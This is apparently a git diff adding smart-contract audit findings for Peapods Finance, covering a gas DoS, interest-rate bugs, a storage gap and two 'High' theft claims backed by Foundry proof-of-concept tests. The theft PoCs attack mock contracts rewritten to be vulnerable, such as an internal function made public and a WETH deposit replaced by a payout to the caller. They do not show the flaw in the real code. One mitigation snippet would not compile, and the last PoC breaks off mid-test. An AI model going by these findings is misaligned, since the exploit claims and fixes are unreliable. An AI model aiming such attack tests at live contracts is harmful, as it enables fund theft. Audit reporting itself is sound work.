+ // The gas usage will depend on the operations in __WeightedIndex_init
+ // and the state of your mock contracts. It's best to log and analyze
+ // the gas usage first to determine a reasonable expected range.
+
+ // Add assertions to check the state after (if the tx does not revert)
+ assertEq(podLarge.indexTokenCount(), numTokens, "Incorrect token count");
+ for (uint256 i = 0; i < numTokens; i++) {
+ assertEq(podLarge.getFundTokenIdx(_tokens[i]), i, "Incorrect index for token");
+ }
+ assertEq(podLarge.totalWeights(), numTokens * 100, "incorrect total weight");
+
+ }
+
+// A passing `test_DoS_attack_large_number_of_tokens` test (without `expectRevert()`)
+//is a sign of a vulnerability, not a sign of safety. You must implement mitigations
+//to protect your contract from gas griefing and potential DoS attacks.
+//Don't ignore this just because the test "passes" in its current form
+
+
+function test_DoS_mitigation() public {
+ IDecentralizedIndex.Config memory _config;
+ uint256 numTokens = 256; // One more than the limit
+ address[] memory _tokens = new address[](numTokens);
+ uint256[] memory _weights = new uint256[](numTokens);
+ bytes memory _immutables;
+
+ for (uint256 i = 0; i < numTokens; i++) {
+ MockERC20 mockToken = new MockERC20(
+ string(abi.encodePacked("MockToken", Strings.toString(i))),
+ string(abi.encodePacked("MT", Strings.toString(i))),
+ 18
+ );
+ _tokens[i] = address(mockToken);
+ _weights[i] = 100;
+
+ mockToken.mint(address(pod), 1000000 ether);
+ mockToken.mint(address(this), 1000000 ether);
+ }
+
+ _immutables = abi.encode(
+ address(dai),
+ address(peas),
+ address(dai),
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ );
+
+ // Expect a revert with the "Too many tokens" message (or your custom message)
+ vm.expectRevert("Too many tokens noni"); // Or your specific revert message
+
+ podLarge.publicInit(_config, _tokens, _weights, _immutables);
+ }
+
+```
+Add the provided `TestWeightedIndex` contract to your `test` folder. This contract exposes internal functions and logic from the `__WeightedIndex_init` function of the WeightedIndex contract, enabling thorough testing.
+
+```solidity
+
+import "../contracts/WeightedIndex.sol";
+import "../contracts/interfaces/IDecentralizedIndex.sol";
+
+contract TestWeightedIndex is WeightedIndex {
+ /// @notice Public wrapper to call __WeightedIndex_init for testing purposes.
+ function publicInit(
+ IDecentralizedIndex.Config memory _config,
+ address[] memory _tokens,
+ uint256[] memory _weights,
+ bytes memory _immutables
+ ) public {
+ __WeightedIndex_init(_config, _tokens, _weights, _immutables);
+ }
+
+ /// @notice Returns the number of tokens stored in the indexTokens array.
+ function indexTokenCount() public view returns (uint256) {
+ return indexTokens.length;
+ }
+
+ /// @notice Returns the index stored in the _fundTokenIdx mapping for a given token.
+ function getFundTokenIdx(address token) public view returns (uint256) {
+ return _fundTokenIdx[token];
+ }
+}
+```
+
+Add the required mock contracts (e.g., `MockERC20`, `MockUniswapV2Factory`, etc.) to your `mock` folder. These mock contracts simulate the behavior of external dependencies and are essential for running the tests.
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "../contracts/interfaces/IPEAS.sol";
+
+
+contract MockERC20 {
+ string public name;
+ string public symbol;
+ uint8 public decimals;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals) {
+ name = _name;
+ symbol = _symbol;
+ decimals = _decimals;
+ }
+
+ function transfer(address recipient, uint256 amount) public returns (bool) {
+ balanceOf[msg.sender] -= amount;
+ balanceOf[recipient] += amount;
+ return true;
+ }
+
+ function approve(address spender, uint256 amount) public returns (bool) {
+ allowance[msg.sender][spender] = amount;
+ return true;
+ }
+
+ // ... Add other mocked functions (like decimals, transferFrom, etc.) as required ...
+
+ function mint(address to, uint256 amount) public {
+ balanceOf[to] += amount;
+ }
+
+ // function decimals() public view returns (uint8) { // Add decimals function
+ // return decimals;
+ // }
+}
+
+
+interface IUniswapV2Router02 {
+ function WETH() external view returns (address);
+ function factory() external view returns (address);
+}
+
+contract MockUniswapV2Router is IUniswapV2Router02 {
+ address public WETH;
+ address public factory;
+
+ constructor(address _weth, address _factory) {
+ WETH = _weth;
+ factory = _factory;
+ }
+
+ // function WETH() external view returns (address) {
+ // return WETH;
+ // }
+
+ // function factory() external view returns (address) {
+ // return factory;
+ // }
+
+ // ... other functions as needed
+}
+
+contract MockPEAS is IPEAS, ERC20 {
+ //uint8 public _decimals; // Store decimals as a state variable
+
+ constructor(string memory _name, string memory _symbol, uint8 /* _decimalsValue */)
+ ERC20(_name, _symbol)
+ {
+ _mint(msg.sender, 10_000_000 * 10 ** 18); // Mint to the deployer for testing
+ // Do not store any additional decimals value; rely on ERC20's default.
+ }
+
+ function burn(uint256 _amount) external virtual override {
+ _burn(msg.sender, _amount); // Burn from the test contract (msg.sender)
+ emit Burn(msg.sender, _amount);
+ }
+
+ // function decimals() public view virtual override returns (uint8) {
+ // return _decimals; // Return the stored decimals value
+ // }
+
+ // Add a mint function for testing purposes:
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ // Add a setDecimals function to allow changing the decimals value for testing:
+ // function setDecimals(uint8 _newDecimals) public {
+ // _decimals = _newDecimals;
+ // }
+
+ // ... other functions as needed for your tests ...
+}
+
+contract MockUniswapV2Factory {
+ mapping(address => mapping(address => address)) public getPair;
+
+ function setPair(address tokenA, address tokenB, address pairAddress) public {
+ getPair[tokenA][tokenB] = pairAddress;
+ getPair[tokenB][tokenA] = pairAddress;
+ }
+
+ // Simple createPair that deploys a new pair and stores it.
+ function createPair(address tokenA, address tokenB) public returns (address pair) {
+ MockUniswapV2Pair newPair = new MockUniswapV2Pair(tokenA, tokenB);
+ pair = address(newPair);
+ setPair(tokenA, tokenB, pair);
+ }
+}
+
+// Mock Uniswap V2 Pair.
+contract MockUniswapV2Pair {
+ IERC20 public token0;
+ IERC20 public token1;
+
+ constructor(address _tokenA, address _tokenB) {
+ token0 = IERC20(_tokenA);
+ token1 = IERC20(_tokenB);
+ }
+
+ // ... other pair functionality as needed for your tests
+}
+
+```
+Add the below getter function to access the `WeightedIndex` contract for [`_totalWeights`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L16) private variable`
+
+```solidity
+function totalWeights() public view returns (uint256) {
+ return _totalWeights;
+ }
+
+```
+
+The provided test output demonstrates the high gas usage associated with the `__WeightedIndex_init` function when called with the maximum number of tokens (255). This excessive gas consumption highlights the vulnerability and justifies the need for the implemented mitigations. The gas usage is prohibitively high for practical use and poses a significant risk of Denial-of-Service attacks.
+
+
+
+As shown above, the `__WeightedIndex_init` function has been observed to consume approximately 126.7 million gas when executed with the maximum number of tokens. This consumption far exceeds the typical Ethereum block gas limit (around 30–32 million gas). As a result, an attacker could exploit this behaviour by initiating the function with parameters that force maximum gas usage, effectively preventing the function from being executed within a block and causing a denial-of-service (DoS) condition for Pod initialization.
+
+
+The included test output demonstrates the successful execution of the test_DOS_mitigation function. This output confirms that the mitigation prevents the vulnerable behavior and that the contract now correctly handles attempts to initialize with an excessive number of tokens. This output is only achievable after the recommended mitigation has been implemented in the contract.
+
+
+
+
+### Mitigation
+
+1. Limit the Number of Tokens: Implement a check within `__WeightedIndex_init` to limit the number of tokens that can be added in a single transaction:
+```Solidity
+require(_tokens.length <= MAX_TOKENS, "Too many tokens"); // Define MAX_TOKENS
+```
+Choose a reasonable MAX_TOKENS value (e.g., 10-20) that balances functionality and security.
+
+2. Pagination or Batching: Implement pagination or batching to allow adding a large number of tokens across multiple transactions.
+3. Gas Optimization: Optimize the gas-intensive operations within the loop, especially the q1 calculation. Consider caching values, using more gas-efficient libraries, or rewriting the logic if possible.
+4. Gas Limit per Transaction: Consider setting a maximum gas limit for calls to the __WeightedIndex_init function. This won't prevent a griefing attack but may limit the damage.
+5. State Growth Considerations: Implement strategies to manage state growth, such as removing or archiving old data if it's no longer needed. This is a longer-term consideration for any contract that stores data on-chain.
diff --git a/008.md b/008.md
new file mode 100644
index 0000000..e40647f
--- /dev/null
+++ b/008.md
@@ -0,0 +1,127 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Multiple Fraxlend pairs can use the same available assets from vault when updating interest leading to incorrect calculations
+
+### Summary
+
+The logic in the [totalAvailableAssetsForVault](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/LendingAssetVault.sol#L73-L80) is quite clear, but there seems to be an issue when about 10 out of 20 lending pairs are updating interest without borrowing, when 10 out of 20 whitelisted pairs are self-dependent, each of them has 1_000_000 as vaultMaxAllocation and 10 of 20 of them already used 5_000 as vaultDeposits, when the _overallAvailable is 1,000,000, when there is an update from the leverage manager i.e removing leverage, it updates the interest, or any function that depends on this function from the FraxlendPair contracts, that _updateInterestAndMdInAllVaults, or _previewAddInterestAndMdInAllVaults, each of them tries to update their interest without borrowing, 10 of 20 uses the _totalVaultAvailable which is 1,000,000 - 5,000, and the remaining 10 uses 1,000,000 without using the assets, and they all use this amount to update their interest.
+this could be an issue as each of these vaults supposed to have an allocation Ratio that can be use from the overall available so it reduces the interest rates of lenders.
+```solidity
+ uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(externalAssetVault));
+
+ // Get the utilization rate
+ uint256 _utilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * _results.totalBorrow.amount) / _totalAssetsAvailable;
+
+ // Request new interest rate and full utilization rate from the rate calculator
+ (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+```
+
+
+### Root Cause
+The issue stems from how totalAvailableAssetsForVault calculates available assets without considering proper allocation ratios when multiple lending pairs update their interest rates. Here's the detailed breakdown:
+
+Initial State:
+```solidity
+- 20 total whitelisted lending pairs
+- 10 pairs are self-dependent
+- Each pair has vaultMaxAllocation = 1,000,000
+- 10 pairs have used vaultDeposits = 5,000
+- _overallAvailable = 1,000,000
+```
+The Problem in totalAvailableAssetsForVault:
+```solidity
+function totalAvailableAssetsForVault(address _vault) public view override returns (uint256 _totalVaultAvailable) {
+ uint256 _overallAvailable = totalAvailableAssets();
+
+ _totalVaultAvailable =
+ vaultMaxAllocation[_vault] > vaultDeposits[_vault] ? vaultMaxAllocation[_vault] - vaultDeposits[_vault] : 0;
+
+ _totalVaultAvailable = _overallAvailable < _totalVaultAvailable ? _overallAvailable : _totalVaultAvailable;
+}
+```
+When interest updates are triggered for instance:
+10 pairs correctly calculate available assets as: 1,000,000 - 5,000 = 995,000
+Other 10 pairs use the full 1,000,000 without considering actual usage
+Impact on Interest Rate Calculation:
+```solidity
+ uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(externalAssetVault));
+
+ // Get the utilization rate
+ uint256 _utilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * _results.totalBorrow.amount) / _totalAssetsAvailable;
+
+ // Request new interest rate and full utilization rate from the rate calculator
+ (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+```
+The utilization rate calculation becomes inaccurate because _totalAssetsAvailable isn't properly scaled by allocation ratios
+This leads to incorrect interest rates being calculated for lenders
+Each vault calculates interest independently without considering its proper share of the total available assets.
+
+### Impact
+Incorrect Interest Rate Calculation
+- Some vaults calculate their available assets based on Max Allocation rather than actual deposits.
+- This results in a misleadingly low utilization rate, causing lower-than-expected interest rates for lenders.
+
+Overstatement of Available Assets
+- Certain vaults assume they have access to all available assets, even though only a fraction is actually utilized.
+- This affects 10 out of 20 self-dependent vaults (Vaults that doesnt require loan from the MetaVault, but whitelisted on the Metavault), which continue updating their interest rates based on an inflated asset pool.
+
+Systemic Yield Suppression for Lenders
+- Since interest rates depend on utilization, underestimating utilization leads to lower yields for lenders.
+- This issue scales across multiple vaults, causing protocol-wide mispricing of borrowing/lending rates.
+
+### Mitigation
+Add a check for self-sustaining vaults (Vaults that doesnt require loan from the MetaVault, but whitelisted on the Metavault)
+```solidity
+function isSelfSustainable() public view returns (bool) {
+ return IERC4626Extended(vault).vaultDeposits() > 0;
+ }
+```
+This should be use anywhere interest is been updated to determine if allocation from lending vault is required.
+
+```solidity
+ function addInterest(bool _returnAccounting)
+ external
+ nonReentrant
+ returns (
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo,
+ VaultAccount memory _totalAsset,
+ VaultAccount memory _totalBorrow
+ )
+ {
+ // ...
+ address _IsVaultSelfSustainable = isSelfSustainable() == true ? address(externalAssetVault) : address(0);
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(_IsVaultSelfSustainable);
+ // ...
+ }
+```
+
+```solidity
+function _calculateInterest(CurrentRateInfo memory _currentRateInfo)
+ internal
+ view
+ returns (InterestCalculationResults memory _results)
+ {
+ // Short circuit if interest already calculated this block OR if interest is paused
+ if (_currentRateInfo.lastTimestamp != block.timestamp && !isInterestPaused) {
+ // ...
+
+ // Total assets available including what resides in the external vault
+ address _IsVaultSelfSustainable = isSelfSustainable() == true ? address(externalAssetVault) : address(0);
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(_IsVaultSelfSustainable);
+
+ uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(_totalAssetsAvailable);
+ // ...
+ }
+ }
+```
\ No newline at end of file
diff --git a/009.md b/009.md
new file mode 100644
index 0000000..af6488c
--- /dev/null
+++ b/009.md
@@ -0,0 +1,67 @@
+Lone Wintergreen Rattlesnake
+
+Medium
+
+# Inconsistent Utilization Rate Calculations Leading to Interest Rate Discrepancies
+
+### Summary
+
+The inconsistency in utilization rate calculations between [_addInterest](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L456-L457) and [_calculateInterest](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L398-L402) functions, and the actual [addInterest](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L307-L309) where one subtracts borrowed amounts from available assets while the other doesn't, This inconsistency leads to incorrect utilization rate calculations and can result in interest accrual issues.
+
+### Root Cause
+
+In `_addInterest()`:
+```solidity
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+
+ // Calc interest
+ InterestCalculationResults memory _results = _calculateInterest(_currentRateInfo);
+
+ }
+```
+The vault calls the internal function `_totalAssetAvailable` to get the total assets available, but this function after getting the total assets substracts `totalBorrow.amount` from it, while this is a descrepancy issue as the calculation use to get `_utilizationRate`in `_calculateInterest()` and `addInterest()` differs:
+```solidity
+uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+as this doesnt substract `totalBorrow.amount` which means manually calling `addInterest()` sometimes will skip:
+```solidity
+ uint256 _currentUtilizationRate = _prevUtilizationRate;
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+ uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+ uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+ if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+ ) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+ }
+```
+as `_currentUtilizationRate` will always be > `_newUtilizationRate`
+
+### Impact
+The inconsistency in utilization rate calculations between functions leads to systematically higher _currentUtilizationRate compared to _newUtilizationRate, potentially, causing frequent skipping of interest accruals, as [LendingAssetVault.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/LendingAssetVault.sol#L211) also relied on this function to update vaults interest, making the function unreliable, with interest only accruing through external user-triggered functions.
+
+### Mitigation
+Update both functions to use the standardized calculation
\ No newline at end of file
diff --git a/010.md b/010.md
new file mode 100644
index 0000000..e531ea8
--- /dev/null
+++ b/010.md
@@ -0,0 +1,49 @@
+Energetic Opaque Elephant
+
+Medium
+
+# Lack of Storage Gap Will Cause Storage Conflicts in `WeightedIndex` Contract
+
+### Summary
+
+The [`WeightedIndex`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L13) contract is designed as an upgradeable contract but lacks the implementation of a storage gap. This omission could result in storage conflicts during future upgrades, potentially corrupting data or introducing critical bugs. Including a storage gap would safeguard the contract against such issues, even if the protocol currently does not foresee upgrades.
+
+### Root Cause
+
+The [`WeightedIndex`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L13) contract inherits from OpenZeppelin’s [`Initializable`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L6), indicating it is part of an upgradeable contract system. However, it does not include a storage gap to account for future state variable additions. Without a storage gap, any new variables added during an upgrade could overwrite existing storage slots, causing storage collisions.
+
+
+### Internal Pre-conditions
+
+1. The contract is deployed as an upgradeable contract via a proxy.
+2. Future upgrades to the contract may introduce new state variables.
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The contract is upgraded with new state variables.
+2. Storage collisions occur because the new state variables overwrite existing storage slots.
+3. This corruption could lead to loss of data, unexpected behavior, or vulnerabilities in the contract.
+
+### Impact
+
+The WeightedIndex contract will suffer from storage conflicts during upgrades, leading to data corruption or critical bugs. This can result in disrupted functionality or vulnerabilities that attackers could exploit.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Introduce a storage gap in the WeightedIndex contract by appending an unused fixed-size array at the end of the storage layout, as shown below:
+```diff
+contract WeightedIndex is Initializable, IInitializeSelector, DecentralizedIndex {
+ // Storage gap for upgradeability
++ uint256[50] private __gap;
+}
+
+```
+Even if the protocol does not foresee upgrades, adding a storage gap is a precautionary measure that ensures safe upgrades in the future if the need arises.
\ No newline at end of file
diff --git a/011.md b/011.md
new file mode 100644
index 0000000..ce98f0e
--- /dev/null
+++ b/011.md
@@ -0,0 +1,268 @@
+Docile Rusty Bobcat
+
+High
+
+# An attacker will steal user funds for token holders as they will exploit arbitrary `from` in `transferFrom`.
+
+### Summary
+
+The use of an arbitrary `from` address in `transferFrom` will cause a complete loss of funds for token holders as an **attacker will transfer tokens from any victim’s address to the contract without their consent.**
+
+### Root Cause
+
+In [LeverageManager.sol#L429](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L429), the contract uses `_props.sender` as the source of tokens without validating that `_props.sender` matches the caller (`msg.sender`). Because `_props.sender` is never checked, an attacker can supply any address in the `LeverageFlashProps` struct—draining tokens from another user’s wallet.
+
+
+```solidity
+function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) internal returns (uint256 _podAmtRemaining) {
+ _podAmtRemaining = _podAmtReceived;
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ if (_userProvidedDebtAmtMax > 0) {
+ uint256 _borrowAmtFromUser =
+ _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
+ _borrowAmtNeededToSwap -= _borrowAmtFromUser;
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+ // sell pod token into LP for enough borrow token to get enough to repay
+ // if self-lending swap for lending pair then redeem for borrow token
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+ } else {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+ }
+```
+
+
+
+
+### Internal Pre-conditions
+
+1. Admin needs to deploy the contract with the vulnerable `_acquireBorrowTokenForRepayment` function.
+3. Users must hold tokens of the type specified by `_borrowToken` and have approved the contract to spend their tokens (if applicable).
+5. The contract must have a non-zero balance of the `_borrowToken` to make the attack profitable.
+
+### External Pre-conditions
+
+1. The victim’s address must hold tokens of the type specified by `_borrowToken`.
+3. The victim’s address must have approved the contract to spend their tokens.
+
+### Attack Path
+
+1. Attacker identifies a victim who holds tokens of the type specified by `_borrowToken`.
+3. Attacker crafts malicious `LeverageFlashProps` with the victim’s address as _props.sender.
+5. Attacker calls `_acquireBorrowTokenForRepayment` with the malicious props, specifying the victim’s address as the from address.
+7. The contract transfers tokens from the victim’s address to itself using `transferFrom`.
+9. Attacker steals the tokens by withdrawing them from the contract _or_ exploiting other functions.
+
+### Impact
+
+The token holders suffer a complete loss of their tokens transferred to the contract. **The attacker gains the stolen tokens, which can amount to 100% of the victim’s principal and yield.**
+
+### PoC
+
+Remove `.txt` from the end of the attachement. This is a fully crafted PoC, renamed to allow uploading.
+[ExploitTest.t.sol.txt](https://github.com/user-attachments/files/18552359/ExploitTest.t.sol.txt)
+
+```solidity
+// SPDX-License-Identifier: GPL-3.0-or-later
+pragma solidity >=0.8.28;
+
+import "forge-std/Test.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+// Mock vulnerable contract
+contract LeverageManager {
+ struct LeverageFlashProps {
+ address sender;
+ }
+
+ function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _borrowToken,
+ address,
+ uint256 _someAmount,
+ uint256,
+ uint256,
+ uint256
+ ) public {
+ // Vulnerable line - uses _props.sender without verification
+ IERC20(_borrowToken).transferFrom(_props.sender, address(this), _someAmount);
+ }
+}
+
+contract ExploitTest is Test {
+ LeverageManager public target;
+ address public victim;
+ address public borrowToken;
+ address public attacker;
+
+ function setUp() public {
+ // Deploy contracts
+ target = new LeverageManager();
+
+ // Setup addresses
+ victim = makeAddr("victim");
+ attacker = makeAddr("attacker");
+
+ // Deploy mock token
+ MockERC20 token = new MockERC20("Test Token", "TEST");
+ borrowToken = address(token);
+
+ // Give victim tokens
+ deal(borrowToken, victim, 100 ether);
+
+ // Victim approves spending (as often required in DeFi)
+ vm.startPrank(victim);
+ IERC20(borrowToken).approve(address(target), type(uint256).max);
+ vm.stopPrank();
+ }
+
+ function testExploit() public {
+ // Initial balances
+ uint256 victimInitialBalance = IERC20(borrowToken).balanceOf(victim);
+ assertEq(victimInitialBalance, 100 ether, "Victim should start with 100 tokens");
+
+ // Prepare malicious props targeting victim
+ vm.startPrank(attacker);
+ LeverageManager.LeverageFlashProps memory props;
+ props.sender = victim; // Maliciously set sender as victim
+
+ // Execute attack
+ target._acquireBorrowTokenForRepayment(
+ props,
+ borrowToken,
+ address(0),
+ 100 ether,
+ 0,
+ 0,
+ 0
+ );
+ vm.stopPrank();
+
+ // Verify exploit success
+ uint256 victimFinalBalance = IERC20(borrowToken).balanceOf(victim);
+ uint256 contractBalance = IERC20(borrowToken).balanceOf(address(target));
+
+ assertEq(victimFinalBalance, 0, "Victim's tokens should be drained");
+ assertEq(contractBalance, 100 ether, "Contract should have stolen tokens");
+ }
+}
+
+// Mock ERC20 token for testing
+contract MockERC20 is IERC20 {
+ mapping(address => uint256) private _balances;
+ mapping(address => mapping(address => uint256)) private _allowances;
+
+ string private _name;
+ string private _symbol;
+ uint256 private _totalSupply;
+
+ constructor(string memory name_, string memory symbol_) {
+ _name = name_;
+ _symbol = symbol_;
+ }
+
+ function name() public view returns (string memory) {
+ return _name;
+ }
+
+ function symbol() public view returns (string memory) {
+ return _symbol;
+ }
+
+ function decimals() public pure returns (uint8) {
+ return 18;
+ }
+
+ function totalSupply() public view override returns (uint256) {
+ return _totalSupply;
+ }
+
+ function balanceOf(address account) public view override returns (uint256) {
+ return _balances[account];
+ }
+
+ function transfer(address to, uint256 amount) public override returns (bool) {
+ _transfer(msg.sender, to, amount);
+ return true;
+ }
+
+ function allowance(address owner, address spender) public view override returns (uint256) {
+ return _allowances[owner][spender];
+ }
+
+ function approve(address spender, uint256 amount) public override returns (bool) {
+ _approve(msg.sender, spender, amount);
+ return true;
+ }
+
+ function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
+ _spendAllowance(from, msg.sender, amount);
+ _transfer(from, to, amount);
+ return true;
+ }
+
+ function _transfer(address from, address to, uint256 amount) internal {
+ require(from != address(0), "ERC20: transfer from zero");
+ require(to != address(0), "ERC20: transfer to zero");
+ require(_balances[from] >= amount, "ERC20: insufficient balance");
+
+ _balances[from] -= amount;
+ _balances[to] += amount;
+ emit Transfer(from, to, amount);
+ }
+
+ function _approve(address owner, address spender, uint256 amount) internal {
+ require(owner != address(0), "ERC20: approve from zero");
+ require(spender != address(0), "ERC20: approve to zero");
+
+ _allowances[owner][spender] = amount;
+ emit Approval(owner, spender, amount);
+ }
+
+ function _spendAllowance(address owner, address spender, uint256 amount) internal {
+ uint256 currentAllowance = allowance(owner, spender);
+ if (currentAllowance != type(uint256).max) {
+ require(currentAllowance >= amount, "ERC20: insufficient allowance");
+ _approve(owner, spender, currentAllowance - amount);
+ }
+ }
+}
+```
+
+
+
+
+### Mitigation
+
+Validate _props.sender: Ensure that _props.sender is either msg.sender or a trusted address.
+` require(_props.sender == msg.sender, "Unauthorized sender");`
+
+Use msg.sender Directly: Replace _props.sender with msg.sender in the transferFrom call:
+`IERC20(_borrowToken).safeTransferFrom(msg.sender, address(this), _borrowAmtFromUser);`
+
+Add Access Control: Restrict the function to authorized users or roles using a modifier like onlyOwner or onlyRole.
\ No newline at end of file
diff --git a/014.md b/014.md
new file mode 100644
index 0000000..f051a2d
--- /dev/null
+++ b/014.md
@@ -0,0 +1,98 @@
+Docile Rusty Bobcat
+
+High
+
+# An attacker will steal ETH for users as they will exploit `Zapper._ethToWETH`.
+
+### Summary
+
+The use of `deposit{value: _amountETH}` in `Zapper._ethToWETH` can cause a complete loss of ETH for users, as an attacker can redirect ETH to an arbitrary address.
+
+
+
+### Root Cause
+
+In Zapper.sol[#150](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L148-L152), the `deposit{value: _amountETH}` call allows ETH to be sent to an arbitrary address without proper validation.
+
+### Internal Pre-conditions
+
+1. Users must send ETH to the Zapper contract.
+2. The contract must hold ETH to be deposited into WETH.
+
+### External Pre-conditions
+
+1. The attacker must have a way to call `_ethToWETH` with malicious parameters.
+2. The WETH contract must be functional to accept the deposit.
+
+### Attack Path
+
+1. Attacker calls `_ethToWETH` with a malicious address as the recipient.
+2. The contract deposits ETH into WETH and sends it to the attacker’s address.
+3. Attacker steals the ETH by withdrawing it from WETH.
+
+### Impact
+
+The users suffers a **complete loss** of their ETH sent to the contract. **The attacker gains the stolen ETH, which can amount to 100% of the user’s principal and yield.**
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: GPL-3.0-or-later
+pragma solidity >=0.8.28;
+
+import "forge-std/Test.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+// Mock vulnerable contract
+contract Zapper {
+ function _ethToWETH(uint256 _amountETH) public {
+ // Add return value check to silence warning
+ (bool success, ) = payable(msg.sender).call{value: _amountETH}("");
+ require(success, "ETH transfer failed"); // Ensures transfer succeeded
+ }
+
+ // Required to receive ETH
+ receive() external payable {}
+}
+
+contract ExploitTest is Test {
+ Zapper public target;
+ address public attacker;
+
+ function setUp() public {
+ // Deploy Zapper contract
+ target = new Zapper();
+
+ // Setup attacker address
+ attacker = makeAddr("attacker");
+ }
+
+ function testExploit() public {
+ // Send ETH to Zapper contract
+ uint256 amountETH = 10 ether;
+ deal(address(target), amountETH);
+
+ // Initial balances
+ uint256 initialBalance = address(attacker).balance;
+ assertEq(initialBalance, 0, "Attacker should start with 0 ETH");
+
+ // Attacker calls _ethToWETH to steal ETH
+ vm.startPrank(attacker);
+ target._ethToWETH(amountETH);
+ vm.stopPrank();
+
+ // Verify ETH was stolen
+ uint256 attackerBalance = address(attacker).balance;
